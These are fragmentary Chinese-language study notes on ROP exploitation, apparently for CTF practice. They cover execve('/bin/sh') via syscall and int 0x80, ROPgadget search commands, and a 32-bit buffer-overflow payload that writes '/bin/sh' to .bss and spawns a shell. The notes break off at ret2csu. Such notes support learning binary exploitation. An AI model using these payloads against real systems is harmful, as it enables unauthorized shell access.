123

ROP

原理

在栈缓冲区溢出的基础上,利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而控制程序的执行流程

一般gadgets的指令时查找RIP寄存器

syscall

原理:(64位)

1
2
3
4
5
6
syscall
rax 0x3b
rdi "/bin/sh"
rsi 0
rdx 0
syscall_addr

过程:1.首先找到/bin/sh,或者找到sh

​ 2.溢出之后,pop rax rdi rsi rdx

​ 3.找到syscall 的地址(这个要找syscall 后面又retn的)

​ 如果没有/bin/sh的地址

​ 4.先利用syscall 写入/bin/sh\x00

:不能直接写在栈上,因为栈的位置是随机的

如何写入:

在DATA段写入数据

带align (对齐)的写入完全没有影响

调用read

1
read(0 写入的地址 写入的长度)

ra'x

32位

1
2
3
4
5
eax 0xb
ebx bin_sh_addr
ecx 0
edx 0
int 0x80

ROP-retsyscall

1
2
3
ROPgadget --binary rop  --only 'pop|ret' | grep 'eax'
ROPgadget --binary rop --string '/bin/sh'
ROPgadget --binary rop --only 'int'

注意:这里找到的指令地址后面同样要带有ret

32位 read 是3

1
2
3
4
5
6
7
payload=b'a'*32+p32(read_addr)+p32(pop_edx_ecx_ebx)
payload+=p32(0)+p32(bss_addr)+p32(8)
payload+=p32(pop_eax)+p32(11)+p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(bss_addr)
payload+=p32(int_80)


payload2=b'/bin/sh\x00'

ret2csu

原理

csu-1

在汇编中会有这样的一段代码

可以通过这段调用寄存器,在ret的时候